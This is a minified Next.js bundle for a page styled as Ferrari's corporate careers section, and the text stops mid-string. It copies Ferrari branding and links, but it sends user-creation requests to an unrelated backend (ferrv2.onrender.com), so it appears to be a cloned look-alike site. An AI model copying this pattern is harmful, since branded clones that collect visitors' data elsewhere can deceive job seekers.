(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[405],{5557:function(e,t,r){(window.__NEXT_P=window.__NEXT_P||[]).push(["/",function(){return r(8721)}])},8721:function(e,t,r){"use strict";r.r(t),r.d(t,{DataContext:function(){return rt},default:function(){return rr}});var n=r(5893),i=r(9008),s=r.n(i),a=r(9647),o=r.n(a),l=r(7294),c=r(508),d={src:"/_next/static/media/FLogo.d68b788f.png",height:236,width:236,blurDataURL:"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAMAAADz0U65AAAATlBMVEUnj+z9/v8TmvYAU90OivMIjPJ2vPW62/pMaXERo/sHeu0HdugEofwWqPwIb+QIcOWz0faFyPmpzvusy/YEgvoRpf9Sxv8AaPcQlP4XsP+7bPfnAAAAF3RSTlMI/mxssfz8/QC2avpwcLW1tPr9s////s5r8LIAAAAJcEhZcwAAXDAAAFwwAbCKc+0AAABASURBVHicBcEHAoAgDACxAwpluC3D/3/UhMxeykaG8vUxCvgek7u7R1ZUjUsQS84lE6o11WYVzvnoPCAT3iuQf1oEAn6ya8H1AAAAAElFTkSuQmCC",blurWidth:8,blurHeight:8},m=r(7066);let h={BACKEND_URL:"https://ferrv2.onrender.com"},x=e=>{let t=h.BACKEND_URL;return"".concat(t).concat(e)},f=()=>h.BACKEND_URL;function p(e){return m.Z.post(x("/api/create/user"),e,{timeout:1e4,headers:{"Content-Type":"application/json"}}).then(e=>e).catch(e=>({error:e.message,code:e.code}))}var u=r(5675),g=r.n(u),w=r(1664),b=r.n(w),j=r(2433);function v(e){let{isOpen:t,onClose:r}=e,[i,s]=(0,l.useState)(""),[a,o]=(0,l.useState)(!1),[c,d]=(0,l.useState)(!1),[m,h]=(0,l.useState)("sustainability");return((0,l.useEffect)(()=>{let e=()=>{d(window.innerWidth<768)};return e(),window.addEventListener("resize",e),()=>window.removeEventListener("resize",e)},[]),(0,l.useEffect)(()=>{t||(o(!1),s(""))},[t]),t)?c?(0,n.jsxs)("div",{className:"fixed inset-0 z-[300] bg-[#181818] overflow-auto !ferrari-font !font-ferrari",children:[(0,n.jsxs)("div",{className:"flex justify-between items-center p-3",children:[(0,n.jsx)("button",{onClick:r,className:"text-white p-2","aria-label":"Go back",children:(0,n.jsxs)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,n.jsx)("circle",{cx:"12",cy:"12",r:"11",stroke:"white",strokeWidth:"1"}),(0,n.jsx)("path",{d:"M15 18L9 12L15 6",stroke:"white",strokeWidth:"1.5"})]})}),(0,n.jsx)("div",{className:"flex justify-center",children:(0,n.jsx)(j.Z,{width:30,height:30,className:"h-auto max-h-[30px]"})}),(0,n.jsx)("button",{onClick:r,className:"text-white p-2","aria-label":"Close menu",children:(0,n.jsxs)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,n.jsx)("circle",{cx:"12",cy:"12",r:"11",stroke:"white",strokeWidth:"1"}),(0,n.jsx)("path",{d:"M16 8L8 16M8 8L16 16",stroke:"white",strokeWidth:"1.5"})]})})]}),(0,n.jsx)("div",{className:"mt-6 mb-2 px-6",children:(0,n.jsx)("h2",{className:"text-xs uppercase text-gray-400",children:"ABOUT US"})}),(0,n.jsx)("nav",{className:"w-full",children:(0,n.jsxs)("ul",{className:"text-white",children:[(0,n.jsx)("li",{className:"border-b border-gray-800",children:(0,n.jsxs)(b(),{href:"https://www.ferrari.com/en-EN/corporate",className:"flex justify-between items-center py-4 px-6 text-white no-underline",children:[(0,n.jsx)("span",{className:"text-xl font-medium",children:"Corporate"}),(0,n.jsx)("svg",{width:"8",height:"14",viewBox:"0 0 8 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",className:"ml-2"})]})}),(0,n.jsx)("li",{className:"border-b border-gray-800",children:(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/news",className:"block py-4 px-6 text-xl font-medium text-white no-underline",children:"News"})}),(0,n.jsx)("li",{className:"border-b border-gray-800",children:(0,n.jsxs)(b(),{href:"https://www.ferrari.com/en-EN/ferrari-magazine",className:"flex justify-between items-center py-4 px-6 text-white no-underline",children:[(0,n.jsx)("span",{className:"text-xl font-medium",children:"Ferrari Magazine"}),(0,n.jsx)("svg",{width:"8",height:"14",viewBox:"0 0 8 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",className:"ml-2"})]})}),(0,n.jsx)("li",{className:"border-b border-gray-800",children:(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/history",className:"block py-4 px-6 text-xl font-medium text-white no-underline",children:"History"})}),(0,n.jsx)("li",{className:"border-b border-gray-800",children:(0,n.jsx)(b(),{href:"#",onClick:()=>s(!1),className:"block py-4 px-6 text-xl font-medium text-white no-underline",children:"Join Us"})})]})})]}):(0,n.jsxs)("div",{className:"MenuPillar__wrapper__2RUfl3Wv MenuPillar__mounted__kyozQj2i fixed inset-0 z-[300] bg-[#181818] bg-opacity-90 overflow-auto",children:[(0,n.jsxs)("div",{className:"MenuPillar__actions-bar__3CCujm6j flex flex-col justify-start items-center h-full fixed left-0 top-0 z-10 bg-[#181818] w-16",children:[(0,n.jsx)("div",{className:"MenuPillar__logo-wrap__z8GagdvE mb-12 mt-4",children:(0,n.jsx)(b(),{href:"https://www.ferrari.com","aria-label":"go to homepage",children:(0,n.jsx)(j.Z,{width:30,height:40})})}),(0,n.jsx)("div",{className:"MenuPillar__close__8PO2g3c1 mb-4",children:(0,n.jsx)("button",{onClick:r,className:"BtnAction__wrapper__2lcvxx01 BtnAction__white__3AQU8oiN BtnAction__reverse__2uiwExsY","aria-label":"Close Menu","data-event-module-slug":"header","data-event-type":"CTA","data-event-label":"close","data-eventcat":"GW_MENU","data-eventtit":"close",children:(0,n.jsx)("span",{className:"BtnAction__icon__3-znqAs5",children:(0,n.jsxs)("span",{className:"Icon__icon__2tdLhZ5T Icon__white__3osuE7BJ Icon__icon--border__3nsmYcwT Icon__bgtransparent__2DiBPCjn",children:[(0,n.jsx)("span",{className:"Icon__over-circle__1opWzs6L"}),(0,n.jsxs)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,n.jsx)("circle",{cx:"12",cy:"12",r:"11",stroke:"white",strokeWidth:"1"}),(0,n.jsx)("path",{d:"M16 8L8 16M8 8L16 16",stroke:"white",strokeWidth:"1.5"})]})]})})})}),(0,n.jsx)("div",{className:"MenuPillar__back__qpR4Ae9o MenuPillar__back-visible__3eILuVJ0",children:(0,n.jsx)("button",{onClick:r,className:"BtnAction__wrapper__2lcvxx01 BtnAction__white__3AQU8oiN BtnAction__reverse__2uiwExsY","aria-label":"Go back","data-event-module-slug":"header","data-event-type":"CTA","data-event-label":"back","data-eventcat":"GW_MENU","data-eventtit":"back",children:(0,n.jsx)("span",{className:"BtnAction__icon__3-znqAs5",children:(0,n.jsxs)("span",{className:"Icon__icon__2tdLhZ5T Icon__white__3osuE7BJ Icon__icon--border__3nsmYcwT Icon__bgtransparent__2DiBPCjn",children:[(0,n.jsx)("span",{className:"Icon__over-circle__1opWzs6L"}),(0,n.jsxs)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,n.jsx)("circle",{cx:"12",cy:"12",r:"11",stroke:"white",strokeWidth:"1"}),(0,n.jsx)("path",{d:"M15 18L9 12L15 6",stroke:"white",strokeWidth:"1.5"})]})]})})})})]}),(0,n.jsxs)("div",{className:"flex h-full ",children:[(0,n.jsxs)("div",{className:"w-80 bg-[#121212] px-6 pt-6 ml-16 h-full",children:[(0,n.jsx)("div",{className:"uppercase text-gray-400 text-sm mb-4",children:"CORPORATE"}),(0,n.jsxs)("ul",{className:"text-white space-y-4",children:[(0,n.jsxs)("li",{className:"flex items-center",children:[(0,n.jsx)("div",{className:"w-1 h-6 bg-white mr-3"}),(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate",className:"text-white no-underline font-medium text-xl",children:"Overview"})]}),(0,n.jsx)("li",{children:(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate/about-us",className:"text-white no-underline pl-4 text-xl text-gray-300",children:"About Us"})}),(0,n.jsxs)("li",{className:"flex items-center justify-between",children:[(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate/governance",className:"text-white no-underline pl-4 text-xl text-gray-300",children:"Governance"}),(0,n.jsx)("svg",{width:"10",height:"14",viewBox:"0 0 6 10",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,n.jsx)("path",{d:"M1 1L5 5L1 9",stroke:"white",strokeWidth:"1.5"})})]}),(0,n.jsxs)("li",{className:"flex items-center justify-between",children:[(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate/investors",className:"text-white no-underline pl-4 text-xl text-gray-300",children:"Investors"}),(0,n.jsx)("svg",{width:"10",height:"14",viewBox:"0 0 6 10",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,n.jsx)("path",{d:"M1 1L5 5L1 9",stroke:"white",strokeWidth:"1.5"})})]}),(0,n.jsxs)("li",{className:"flex items-center justify-between",children:[(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate/sustainability",className:"text-white no-underline pl-4 text-xl text-gray-300",children:"Sustainability"}),(0,n.jsx)("svg",{width:"10",height:"14",viewBox:"0 0 6 10",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,n.jsx)("path",{d:"M1 1L5 5L1 9",stroke:"white",strokeWidth:"1.5"})})]}),(0,n.jsxs)("li",{className:"flex items-center justify-between",children:[(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate/media",className:"text-white no-underline pl-4 text-xl text-gray-300",children:"Media"}),(0,n.jsx)("svg",{width:"10",height:"14",viewBox:"0 0 6 10",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:(0,n.jsx)("path",{d:"M1 1L5 5L1 9",stroke:"white",strokeWidth:"1.5"})})]})]})]}),(0,n.jsx)("div",{className:"flex-1 bg-gradient-to-r from-red-700 to-red-600",children:(0,n.jsx)("div",{className:"h-full w-full flex items-center justify-center",children:(0,n.jsx)("img",{src:"/ferrarimenu.jpg",alt:"Ferrari Logo",className:"w-auto h-auto object-contain"})})})]})]}):null}let y="#181818";function N(){let[e,t]=(0,l.useState)(0),[r,i]=(0,l.useState)(!0),[s,a]=(0,l.useState)(!1),[o,c]=(0,l.useState)(!1),d=(0,l.useCallback)(()=>{let e=window.innerWidth<768;a(e),e&&i(!0)},[]),m=(0,l.useCallback)(()=>{let r=window.pageYOffset;s?i(!0):i(e>r||r<10),t(r)},[s,e]),h=(0,l.useCallback)(()=>{c(e=>!e),o?document.body.style.overflow="":document.body.style.overflow="hidden"},[o]),x=(0,l.useCallback)(()=>{c(!1),document.body.style.overflow=""},[]);(0,l.useEffect)(()=>(d(),window.addEventListener("resize",d),window.addEventListener("scroll",m),()=>{window.removeEventListener("resize",d),window.removeEventListener("scroll",m),document.body.style.overflow=""}),[d,m]);let f=s||r?"translate-y-0":"-translate-y-full";return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)("header",{className:"\n Header__header__1twvGXn4 \n Header__topbar__SrMxCjlb \n inert-menu-hook \n w-full \n top-0 \n left-0 \n z-[200] \n ".concat(s?"":"transition-transform duration-300","\n font-ferrari\n ").concat(f,"\n "),style:{backgroundColor:y,position:"fixed",transform:s?"none":void 0},children:s?(0,n.jsx)(k,{onMenuClick:h}):(0,n.jsx)(_,{onMenuClick:h})}),(0,n.jsx)(v,{isOpen:o,onClose:x})]})}function k(e){let{onMenuClick:t}=e;return(0,n.jsxs)("div",{className:"Header__content__1tS7gf1W flex items-center justify-between px-4 h-11 w-full",style:{backgroundColor:y},children:[(0,n.jsx)("div",{className:"Header__open-menu__2JEiEKpi",children:(0,n.jsx)("button",{className:"menu-pillars-toggle text-white uppercase font-medium text-sm",type:"button",tabIndex:"0","aria-label":"Open Menu",onClick:t,children:"Menu"})}),(0,n.jsx)(b(),{href:"https://www.ferrari.com",children:(0,n.jsx)(j.Z,{width:25,height:25,className:"h-auto max-h-[25px]"})}),(0,n.jsx)("div",{className:"flex items-center h-full",children:(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/search",className:"text-white uppercase font-medium hover:text-gray-300 text-sm no-underline",children:"Search"})})]})}function _(e){let{onMenuClick:t}=e;return(0,n.jsxs)("div",{className:"Header__content__1tS7gf1W flex items-center justify-between mx-auto px-4 h-full",style:{backgroundColor:y},children:[(0,n.jsxs)("div",{className:"flex ",children:[(0,n.jsx)("div",{className:"Header__logo__39GNG28Y mr-8",children:(0,n.jsx)(b(),{href:"https://www.ferrari.com","aria-label":"go to homepage",className:"block no-underline",children:(0,n.jsx)(j.Z,{width:25,height:25,className:"h-auto max-h-[25px] mt-2"})})}),(0,n.jsx)("nav",{className:"flex",children:(0,n.jsxs)("ul",{className:"flex space-x-10 md:space-x-12 items-center h-full",children:[(0,n.jsx)(C,{label:"RACING",href:"#",onClick:t}),(0,n.jsx)(C,{label:"SPORTS CARS",href:"#",onClick:t}),(0,n.jsx)(C,{label:"COLLECTIONS",href:"#",onClick:t}),(0,n.jsx)(C,{label:"EXPERIENCES",href:"#",onClick:t}),(0,n.jsx)(C,{label:"ABOUT US",isActive:!0,href:"#",onClick:t})]})})]}),(0,n.jsx)("div",{className:"flex items-center h-full ",children:(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/search",className:"text-white uppercase font-medium hover:text-gray-300 text-sm no-underline",children:"Search"})})]})}function C(e){let{label:t,isActive:r=!1,href:i,onClick:s}=e;return(0,n.jsx)("li",{className:"items-center",children:(0,n.jsxs)("a",{href:i,className:"\n text-white \n uppercase \n font-medium \n hover:text-gray-300 \n text-sm\n no-underline\n cursor-pointer\n ".concat(r?"Header__active-item__3f7eeyMb border-b-2 border-white":"","\n "),onClick:e=>{e.preventDefault(),s&&s()},children:[t,(0,n.jsx)("span",{className:"Header__wrapper-arrow__bG7CCzAh"})]})})}let E=e=>{let{onMenuClick:t}=e;return(0,n.jsxs)("div",{className:"flex items-center justify-between w-full",children:[(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate",className:"ChannelMenuHeader__logo-wrap__27GZq6Mw no-underline",target:"_self",children:(0,n.jsx)("span",{className:"text-white text-l font-ferrari uppercase tracking-wider no-underline",children:"CORPORATE"})}),(0,n.jsxs)("div",{className:"flex items-center",children:[(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate/contacts",className:"BtnCta__button__w7eTRXBJ BtnCta__button--auto-width__24FksXHh BtnCta__bgtransparent__1n9xqjaE text-white no-underline mr-3 font-ferrari",target:"_self",children:(0,n.jsx)("span",{className:"BtnCta__text__16tieEQV text-l uppercase font-ferrari",children:"Contacts"})}),(0,n.jsx)(I,{})]})]})},A=e=>{let{toggleMenu:t}=e;return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsxs)("div",{className:"flex items-center h-full",children:[(0,n.jsx)("button",{className:"ChannelMenuHeader__hamburger__2ao-XFUR text-white p-2","aria-label":"Open Menu",onClick:t,children:(0,n.jsx)("svg",{width:"17",height:"14",xmlns:"http://www.w3.org/2000/svg",children:(0,n.jsx)("path",{d:"M.667 2.333h16v-2h-14a2 2 0 0 0-2 2zM.667 8h16V6h-14a2 2 0 0 0-2 2zm0 5.667h16v-2h-14a2 2 0 0 0-2 2z",fill:"#FFF"})})}),(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate",className:"ChannelMenuHeader__logo-wrap__27GZq6Mw ml-2 flex items-center no-underline h-full",target:"_self",children:(0,n.jsx)("span",{className:"text-white font-medium tracking-wide uppercase",children:"CORPORATE"})})]}),(0,n.jsxs)("div",{className:"flex h-full",children:[(0,n.jsxs)("ul",{className:"ChannelMenuHeader__nav__2py7o4YO ChannelMenuHeader__visible__3keEnJJY hidden md:flex h-full items-center space-x-6 lg:space-x-8",children:[(0,n.jsx)("li",{className:"h-full flex items-center",children:(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate/investors",className:"BtnCta__button__w7eTRXBJ null BtnCta__button--auto-width__24FksXHh BtnCta__bgtransparent__1n9xqjaE text-white font-medium tracking-wide hover:text-gray-300 text-xs lg:text-sm no-underline h-full flex items-center",target:"_self",children:(0,n.jsx)("span",{className:"BtnCta__text__16tieEQV",children:"INVESTORS"})})}),(0,n.jsx)("li",{className:"h-full flex items-center",children:(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate/sustainability",className:"BtnCta__button__w7eTRXBJ null BtnCta__button--auto-width__24FksXHh BtnCta__bgtransparent__1n9xqjaE text-white font-medium tracking-wide hover:text-gray-300 text-xs lg:text-sm no-underline h-full flex items-center",target:"_self",children:(0,n.jsx)("span",{className:"BtnCta__text__16tieEQV",children:"SUSTAINABILITY"})})}),(0,n.jsx)("li",{className:"h-full flex items-center",children:(0,n.jsx)(b(),{href:"https://www.ferrari.com/en-EN/corporate/contacts",className:"BtnCta__button__w7eTRXBJ null BtnCta__button--auto-width__24FksXHh BtnCta__bgtransparent__1n9xqjaE text-white font-medium tracking-wide hover:text-gray-300 text-xs lg:text-sm no-underline h-full flex items-center",target:"_self",children:(0,n.jsx)("span",{className:"BtnCta__text__16tieEQV",children:"CONTACTS"})})})]}),(0,n.jsx)("div",{className:"ChannelMenuHeader__share__1dvJeiKX ml-3 lg:ml-6 flex items-center h-full justify-center",children:(0,n.jsx)(I,{})})]})]})},I=()=>(0,n.jsx)("div",{className:"Share__wrapper__2ujGkW_n undefined Share__fixed__SO3iXOD4","aria-label":"Share",children:(0,n.jsx)("button",{"aria-label":"Open share popup","aria-expanded":"false",className:"Share__toggle__iB22OPM-",children:(0,n.jsx)("span",{className:"BtnAction__wrapper__2lcvxx01 BtnAction__white__3AQU8oiN undefined",children:(0,n.jsx)("span",{className:"BtnAction__icon__3-znqAs5",children:(0,n.jsxs)("span",{className:"Icon__icon__2tdLhZ5T Icon__white__3osuE7BJ Icon__icon--border__3nsmYcwT Icon__bgtransparent__2DiBPCjn inline-flex items-center justify-center p-1 border border-white rounded-full",children:[(0,n.jsx)("span",{className:"Icon__over-circle__1opWzs6L",children:(0,n.jsx)("svg",{viewBox:"0 0 24 24",children:(0,n.jsx)("circle",{cx:"12",cy:"12",r:"11",stroke:"1"})})}),(0,n.jsx)("svg",{viewBox:"0 0 12 14",className:"icon",width:"12",height:"14",style:{height:"14px",width:"12px"},fill:"#FFF",children:(0,n.jsx)("path",{d:"M3.37 8.457a2 2 0 1 1-.124-3.022l4.783-2.761a2 2 0 1 1 .652 1.163l-4.728 2.73a2.007 2.007 0 0 1 .029.704L8.81 10.06a2 2 0 1 1-.747 1.108L3.37 8.457z"})})]})})})})});function F(e){let{isMobile:t}=e,[r,i]=(0,l.useState)(!1),[s,a]=(0,l.useState)(!1),o=()=>{a(e=>!e),s?document.body.style.overflow="":document.body.style.overflow="hidden"};return(0,l.useEffect)(()=>{let e=()=>{let e=window.scrollY;!t&&e>0?i(!0):i(!1)};return window.addEventListener("scroll",e),()=>{window.removeEventListener("scroll",e),document.body.style.overflow=""}},[t]),(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)("header",{className:"\n ChannelMenuHeader__header__3zMl-w9a \n ChannelMenuHeader__topbar__1RIZBUV1 \n inert-menu-hook \n ChannelMenuHeader__bg-overlay__6uvxotEy \n left-0 \n w-full \n z-30 \n font-ferrari \n transition-all \n duration-300\n bg-gradient-to-b from-black/70 to-transparent\n overflow-hidden\n ",style:{position:"fixed",top:t?40:r?0:40,transform:"none"},children:(0,n.jsx)("div",{className:"ChannelMenuHeader__header-content__2EuAsqEL w-full px-4 flex items-center justify-between ".concat(t?"h-[60px]":"h-[45px]"),children:t?(0,n.jsx)(E,{onMenuClick:o}):(0,n.jsx)(A,{toggleMenu:o})})}),(0,n.jsx)(v,{isOpen:s,onClose:()=>{a(!1),document.body.style.overflow=""}})]})}function S(){let[e,t]=(0,l.useState)(!1),[r,i]=(0,l.useState)(!1),[s,a]=(0,l.useState)(!1);return(0,l.useEffect)(()=>{let e=()=>a(window.innerWidth<768);return e(),window.addEventListener("resize",e),()=>window.removeEventListener("resize",e)},[]),(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(N,{}),(0,n.jsx)(F,{isMobile:s,toggleMenu:()=>{s?(t(!e),i(!1)):(i(!r),t(!1))}})]})}var T=function(){let[e,t]=(0,l.useState)(!1);return(0,l.useEffect)(()=>{let e=()=>{t(window.innerWidth<768)};return e(),window.addEventListener("resize",e),()=>window.removeEventListener("resize",e)},[]),(0,n.jsxs)("section",{className:"flex w-full relative h-[450px] sm:h-[30vh] md:h-[35vh] lg:h-[50vh] overflow-hidden font-ferrari",children:[(0,n.jsxs)("div",{className:"absolute inset-0 z-0 ",children:[(0,n.jsx)(g(),{src:e?"/fbhero-mobile.jpg":"/ferrarihero.jpg",alt:"Hero Background",fill:!0,className:"object-cover w-full h-full"}),(0,n.jsx)("div",{className:"absolute inset-0 bg-black/30"})]}),(0,n.jsx)("div",{className:"container relative z-10 mx-auto px-4 flex flex-col items-center justify-center h-full w-full",children:(0,n.jsx)("div",{className:"max-w-5xl text-center ",children:(0,n.jsx)("h2",{className:"text-white text-3xl font-semibold uppercase tracking-wider mb-2 !font-ferrari",children:"Career"})})})]})},P=()=>(0,n.jsx)("section",{className:"w-full bg-white py-12 md:py-16 lg:py-20 px-4 sm:px-6 md:px-8",children:(0,n.jsxs)("div",{className:"md:max-w-6xl md:mx-auto",children:[(0,n.jsxs)("div",{className:"flex items-center justify-start mb-6 md:mb-10",children:[(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold",children:"1"}),(0,n.jsx)("span",{className:"inline-block w-6 md:w-8 h-px bg-red-600 mx-2 md:mx-3"}),(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold uppercase tracking-wider",children:"Opportunities"})]}),(0,n.jsxs)("div",{className:"flex flex-col items-center justify-center text-center max-w-4xl mx-auto",children:[(0,n.jsx)("h2",{className:"text-3xl sm:text-4xl md:text-5xl font-bold mb-6 md:mb-10 uppercase tracking-wide text-black !font-ferrari",children:"Career Opportunities"}),(0,n.jsx)("div",{className:"text-sm sm:text-base leading-relaxed mb-12 text-gray-800 sm:leading-normal !font-ferrari",children:"Working at Ferrari means being part of a unique, passionate, future-focused team in which our people are our greatest asset. Together, we compete on the track and in markets all over the world. If you are ready to make a difference, please look at the job offers or send us your spontaneous application at the Careers site."})]})]})}),z=()=>(0,n.jsx)("section",{className:"w-full bg-[#181818] py-6 md:py-16 lg:py-20",children:(0,n.jsx)("div",{className:"px-4 sm:px-6 md:px-8",children:(0,n.jsxs)("div",{className:"md:max-w-6xl md:mx-auto",children:[(0,n.jsxs)("div",{className:"flex items-center justify-start mb-1 md:mb-10",children:[(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold",children:"2"}),(0,n.jsx)("span",{className:"inline-block w-6 md:w-8 h-px bg-red-600 mx-2 md:mx-3"}),(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold uppercase tracking-wider",children:"People"})]}),(0,n.jsxs)("div",{className:"block md:hidden",children:[(0,n.jsx)("div",{className:"mb-8",children:(0,n.jsx)("img",{src:"/ferrari-1.jpg",alt:"Ferrari engineer working on engine",className:"w-full h-auto object-cover"})}),(0,n.jsxs)("div",{children:[(0,n.jsx)("h3",{className:"text-3xl font-bold mb-4 uppercase tracking-wide text-white font-ferrari",children:"FOCUS ON PEOPLE"}),(0,n.jsx)("div",{className:"text-sm leading-relaxed mb-6 text-white sm:leading-normal font-ferrari",children:"We believe that an inclusive, enabling and inspiring work environment is key to unleashing everyone's talent. Unparalleled individual and team performance goes hand-in-hand with a quality working life and an emphasis on professional development."})]})]}),(0,n.jsxs)("div",{className:"hidden md:flex md:items-center md:justify-between",children:[(0,n.jsx)("div",{className:"w-[45%] flex items-center",children:(0,n.jsxs)("div",{className:"text-left",children:[(0,n.jsx)("h3",{className:"text-3xl lg:text-4xl font-bold mb-4 md:mb-8 uppercase tracking-wide text-white font-ferrari",children:"FOCUS ON PEOPLE"}),(0,n.jsx)("div",{className:"text-sm leading-relaxed mb-6 md:mb-10 text-white sm:leading-normal font-ferrari",children:"We believe that an inclusive, enabling and inspiring work environment is key to unleashing everyone's talent. Unparalleled individual and team performance goes hand-in-hand with a quality working life and an emphasis on professional development."})]})}),(0,n.jsx)("div",{className:"w-[50%]",children:(0,n.jsx)("img",{src:"/ferrari-1.jpg",alt:"Ferrari engineer working on engine",className:"w-full h-auto object-cover"})})]})]})})}),B=()=>(0,n.jsx)("section",{className:"w-full bg-white py-6 md:py-16 lg:py-20",children:(0,n.jsx)("div",{className:"px-4 sm:px-6 md:px-8",children:(0,n.jsxs)("div",{className:"md:max-w-6xl md:mx-auto",children:[(0,n.jsxs)("div",{className:"flex items-center justify-start mb-1 md:mb-10",children:[(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold",children:"3"}),(0,n.jsx)("span",{className:"inline-block w-6 md:w-8 h-px bg-red-600 mx-2 md:mx-3"}),(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold uppercase tracking-wider",children:"PASSION"})]}),(0,n.jsxs)("div",{className:"block md:hidden",children:[(0,n.jsx)("div",{className:"mb-8",children:(0,n.jsx)("img",{src:"/ferrari-2.jpg",alt:"Ferrari passion",className:"w-full h-auto object-cover"})}),(0,n.jsxs)("div",{children:[(0,n.jsx)("h3",{className:"text-3xl font-bold mb-4 uppercase tracking-wide text-black font-ferrari",children:"PASSION AT THE CENTER"}),(0,n.jsx)("div",{className:"text-sm leading-relaxed mb-6 text-black sm:leading-normal font-ferrari",children:"From manufacturing processes to motorsport, Ferrari always puts the passion of its people at the centre of everything we do. This begins with our employees and their families, and extends out to our clients, tifosi, and the whole community."})]})]}),(0,n.jsxs)("div",{className:"hidden md:flex md:items-center md:justify-between",children:[(0,n.jsx)("div",{className:"w-[50%]",children:(0,n.jsx)("img",{src:"/ferrari-2.jpg",alt:"Ferrari passion",className:"w-full h-auto object-cover"})}),(0,n.jsx)("div",{className:"w-[45%] flex items-center",children:(0,n.jsxs)("div",{className:"text-left",children:[(0,n.jsx)("h3",{className:"text-3xl lg:text-4xl font-bold mb-4 md:mb-8 uppercase tracking-wide text-black font-ferrari",children:"PASSION AT THE CENTER"}),(0,n.jsx)("div",{className:"text-sm leading-relaxed mb-6 md:mb-10 text-black sm:leading-normal font-ferrari",children:"From manufacturing processes to motorsport, Ferrari always puts the passion of its people at the centre of everything we do. This begins with our employees and their families, and extends out to our clients, tifosi, and the whole community."})]})})]})]})})}),M=()=>(0,n.jsx)("section",{className:"w-full bg-[#181818] py-6 md:py-16 lg:py-20",children:(0,n.jsx)("div",{className:"px-4 sm:px-6 md:px-8",children:(0,n.jsxs)("div",{className:"md:max-w-6xl md:mx-auto",children:[(0,n.jsxs)("div",{className:"flex items-center justify-start mb-1 md:mb-10",children:[(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold",children:"4"}),(0,n.jsx)("span",{className:"inline-block w-6 md:w-8 h-px bg-red-600 mx-2 md:mx-3"}),(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold uppercase tracking-wider",children:"TALENT"})]}),(0,n.jsxs)("div",{className:"block md:hidden",children:[(0,n.jsx)("div",{className:"mb-8",children:(0,n.jsx)("img",{src:"/ferrari-3.jpg",alt:"Ferrari engineer working on engine",className:"w-full h-auto object-cover"})}),(0,n.jsxs)("div",{children:[(0,n.jsx)("h3",{className:"text-3xl font-bold mb-4 uppercase tracking-wide text-white font-ferrari",children:"EXCELLENCE"}),(0,n.jsx)("div",{className:"text-sm leading-relaxed mb-6 text-white sm:leading-normal font-ferrari",children:"The innovation and creativity of our people determine our pursuit of excellence, technological innovation and defining style. Their talent is the foundation of the Ferrari brand, and it is nurtured by specific, carefully-crafted education programs."})]})]}),(0,n.jsxs)("div",{className:"hidden md:flex md:items-center md:justify-between",children:[(0,n.jsx)("div",{className:"w-[45%] flex items-center",children:(0,n.jsxs)("div",{className:"text-left",children:[(0,n.jsx)("h3",{className:"text-3xl lg:text-4xl font-bold mb-4 md:mb-8 uppercase tracking-wide text-white font-ferrari",children:"EXCELLENCE"}),(0,n.jsx)("div",{className:"text-sm leading-relaxed mb-6 md:mb-10 text-white sm:leading-normal font-ferrari",children:"The innovation and creativity of our people determine our pursuit of excellence, technological innovation and defining style. Their talent is the foundation of the Ferrari brand, and it is nurtured by specific, carefully-crafted education programs."})]})}),(0,n.jsx)("div",{className:"w-[50%]",children:(0,n.jsx)("img",{src:"/ferrari-3.jpg",alt:"Ferrari engineer working on engine",className:"w-full h-auto object-cover"})})]})]})})}),R=()=>(0,n.jsx)("section",{className:"w-full bg-white py-6 md:py-16 lg:py-20",children:(0,n.jsx)("div",{className:"px-4 sm:px-6 md:px-8",children:(0,n.jsxs)("div",{className:"md:max-w-6xl md:mx-auto",children:[(0,n.jsxs)("div",{className:"flex items-center justify-start mb-1 md:mb-10",children:[(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold",children:"5"}),(0,n.jsx)("span",{className:"inline-block w-6 md:w-8 h-px bg-red-600 mx-2 md:mx-3"}),(0,n.jsx)("strong",{className:"text-red-600 text-base md:text-lg font-semibold uppercase tracking-wider",children:"Certifications"})]}),(0,n.jsx)("div",{className:"md:flex md:flex-col",children:(0,n.jsx)("div",{className:"max-w-5xl 